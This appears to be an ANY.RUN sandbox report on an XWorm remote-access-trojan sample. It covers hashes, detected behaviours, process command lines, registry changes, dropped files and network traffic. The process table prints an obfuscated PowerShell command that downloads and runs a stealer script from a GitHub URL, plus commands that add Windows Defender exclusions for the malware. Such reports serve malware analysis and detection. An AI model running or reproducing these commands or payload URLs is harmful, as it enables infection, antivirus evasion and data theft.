analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | l.exe |
| Full analysis: | https://app.any.run/tasks/9d7fb071-923d-4b1d-bd67-a457c575ed90 |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | December 14, 2024 at 08:38:13 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | 79CF2B2F02054D93E25753F233F14F4B |
| SHA1: | 8CE5D046E71DEF533D4A73AF69414D12673E7F9F |
| SHA256: | CFED367CDE90248197E9C680FD5BEA609030E045D64D050E336103CFABB1F143 |
| SSDEEP: | 12288:NkVogrusLUmwsEQjGPRMAdaGF6d46iOlFsaVGv57l+yQU:8ogrusLUmwsEQjGPRMAdaGE46iObsaVs |
MALICIOUS
Changes powershell execution policy (Bypass)
- $77loader.exe (PID: 3524)
Adds path to the Windows Defender exclusion list
- $77loader.exe (PID: 3524)
Bypass execution policy to execute commands
- powershell.exe (PID: 236)
- powershell.exe (PID: 3688)
Adds process to the Windows Defender exclusion list
- $77loader.exe (PID: 3524)
XWORM has been detected (YARA)
- $77loader.exe (PID: 3524)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 524)
XWORM has been detected (SURICATA)
- $77loader.exe (PID: 3524)
Create files in the Startup directory
- powershell.exe (PID: 524)
SUSPICIOUS
The process executes via Task Scheduler
- $77loader.exe (PID: 3220)
- $77loader.exe (PID: 4816)
- $77loader.exe (PID: 4724)
Executable content was dropped or overwritten
- l.exe (PID: 5460)
- powershell.exe (PID: 524)
Application launched itself
- $77loader.exe (PID: 3220)
- $77loader.exe (PID: 3524)
- powershell.exe (PID: 5252)
Reads security settings of Internet Explorer
- $77loader.exe (PID: 3220)
- $77loader.exe (PID: 3524)
Reads the date of Windows installation
- $77loader.exe (PID: 3220)
- $77loader.exe (PID: 3524)
Executing commands from ".cmd" file
- $77loader.exe (PID: 3524)
Starts CMD.EXE for commands execution
- $77loader.exe (PID: 3524)
The process executes Powershell scripts
- mshta.exe (PID: 4428)
- powershell.exe (PID: 5252)
Possibly malicious use of IEX has been detected
- mshta.exe (PID: 4428)
Starts POWERSHELL.EXE for commands execution
- mshta.exe (PID: 4428)
- $77loader.exe (PID: 3524)
- powershell.exe (PID: 5252)
Script adds exclusion path to Windows Defender
- $77loader.exe (PID: 3524)
Script adds exclusion process to Windows Defender
- $77loader.exe (PID: 3524)
Probably download files using WebClient
- powershell.exe (PID: 5252)
Uses ATTRIB.EXE to modify file attributes
- powershell.exe (PID: 524)
Connects to unusual port
- $77loader.exe (PID: 3524)
Contacting a server suspected of hosting an CnC
- $77loader.exe (PID: 3524)
INFO
Creates files in the program directory
- l.exe (PID: 5460)
- powershell.exe (PID: 524)
Reads the computer name
- l.exe (PID: 5460)
- $77loader.exe (PID: 3220)
- $77loader.exe (PID: 3524)
- $77loader.exe (PID: 4816)
- $77loader.exe (PID: 4724)
Checks supported languages
- $77loader.exe (PID: 3220)
- l.exe (PID: 5460)
- $77loader.exe (PID: 3524)
- $77loader.exe (PID: 4816)
- $77loader.exe (PID: 4724)
Reads the machine GUID from the registry
- $77loader.exe (PID: 3220)
- $77loader.exe (PID: 3524)
The process uses the downloaded file
- $77loader.exe (PID: 3220)
- mshta.exe (PID: 4428)
- powershell.exe (PID: 5252)
- $77loader.exe (PID: 3524)
Process checks computer location settings
- $77loader.exe (PID: 3220)
- $77loader.exe (PID: 3524)
Reads Internet Explorer settings
- mshta.exe (PID: 4428)
Checks proxy server information
- mshta.exe (PID: 4428)
- powershell.exe (PID: 5252)
- $77loader.exe (PID: 3524)
- powershell.exe (PID: 524)
Disables trace logs
- powershell.exe (PID: 5252)
- $77loader.exe (PID: 3524)
- powershell.exe (PID: 524)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 3688)
- powershell.exe (PID: 5252)
- powershell.exe (PID: 236)
- powershell.exe (PID: 524)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 3688)
- powershell.exe (PID: 236)
- powershell.exe (PID: 524)
Reads Environment values
- $77loader.exe (PID: 3524)
Reads the software policy settings
- $77loader.exe (PID: 3524)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 524)
Gets or sets the time when the file was last written to (POWERSHELL)
- powershell.exe (PID: 524)
Creates files or folders in the user directory
- $77loader.exe (PID: 3524)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (21.3) |
| .scr | | | Windows screen saver (10.1) |
| .dll | | | Win32 Dynamic Link Library (generic) (5) |
| .exe | | | Win32 Executable (generic) (3.4) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2024:12:14 08:33:54+00:00 |
| ImageFileCharacteristics: | Executable |
| PEType: | PE32 |
| LinkerVersion: | 8 |
| CodeSize: | 448512 |
| InitializedDataSize: | 2048 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x6f70a |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| FileDescription: | |
| FileVersion: | 1.0.0.0 |
| InternalName: | l.exe |
| LegalCopyright: | |
| OriginalFileName: | l.exe |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
149
Monitored processes
27
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 236 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77loader.exe' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | $77loader.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 524 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://raw.githubusercontent.com/EVIL-D-E-V/M/refs/heads/main/shellcode/stealer.ps1')) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1544 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2324 | #cmd | C:\ProgramData\$77loader.exe | — | $77loader.exe | |||||||||||
User: admin Integrity Level: HIGH Description: Exit code: 4294967295 Version: 1.0.0.0 Modules
| |||||||||||||||
| 2624 | #cmd | C:\ProgramData\$77loader.exe | — | $77loader.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 4294967295 Version: 1.0.0.0 Modules
| |||||||||||||||
| 3220 | "C:\ProgramData\$77loader.exe" | C:\ProgramData\$77loader.exe | — | svchost.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 3524 | "C:\ProgramData\$77loader.exe" | C:\ProgramData\$77loader.exe | $77loader.exe | ||||||||||||
User: admin Integrity Level: HIGH Description: Version: 1.0.0.0 Modules
| |||||||||||||||
| 3560 | #cmd | C:\ProgramData\$77loader.exe | — | $77loader.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 4294967295 Version: 1.0.0.0 Modules
| |||||||||||||||
| 3576 | #cmd | C:\ProgramData\$77loader.exe | — | $77loader.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 4294967295 Version: 1.0.0.0 Modules
| |||||||||||||||
| 3688 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\$77loader.exe' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | $77loader.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
30 226
Read events
30 209
Write events
17
Delete events
0
Modification events
| (PID) Process: | (4428) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (4428) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (4428) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (3524) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3524) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (3524) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3524) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (3524) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (3524) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3524) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
Executable files
2
Suspicious files
2
Text files
9
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5460 | l.exe | C:\ProgramData\$77loader.exe | executable | |
MD5:79CF2B2F02054D93E25753F233F14F4B | SHA256:CFED367CDE90248197E9C680FD5BEA609030E045D64D050E336103CFABB1F143 | |||
| 3688 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:B433A445D49094E8B532616A9B2EA46C | SHA256:6EAA07422BADFACDC269CBCAD04C48BC5AA7AF6FFF8E77769B8ED8002DF66240 | |||
| 236 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_o04tzouf.ucx.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5252 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_widhrnof.apy.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 524 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zvdj1iur.cbe.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 236 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5bqjg3rj.4f2.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 524 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:C904B83F3EB6B36C24B175843EAE2F18 | SHA256:AE9C3B418FC314078AEA3B8FE77670BDBD72E127D1DAE886D031A73C2074B64F | |||
| 5252 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jdfjh1sv.xuu.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 524 | powershell.exe | C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Updateclientt.exe | executable | |
MD5:6A38E035957D63A6478FFADE82713BE2 | SHA256:4E50E4AD5189D7E410EB1BDCCE73F0ECDFD4F566A2C71FE7852214904659D30B | |||
| 524 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_s0tmfgdq.qbg.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
24
DNS requests
9
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
3700 | svchost.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3696 | RUXIMICS.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Ip | unknown | text | 21 b | — |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/EVIL-D-E-V/M/refs/heads/main/download.ps1 | unknown | text | 985 b | — |
— | — | GET | 302 | 140.82.121.3:443 | https://github.com/43a1723/test/releases/download/siu/stub.exe | unknown | — | — | — |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/EVIL-D-E-V/M/refs/heads/main/shellcode/stealer.ps1 | unknown | text | 877 b | — |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
3696 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4712 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3700 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
3696 | RUXIMICS.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3700 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3696 | RUXIMICS.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
raw.githubusercontent.com |
| shared |
github.com |
| shared |
objects.githubusercontent.com |
| shared |
self.events.data.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |
— | — | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |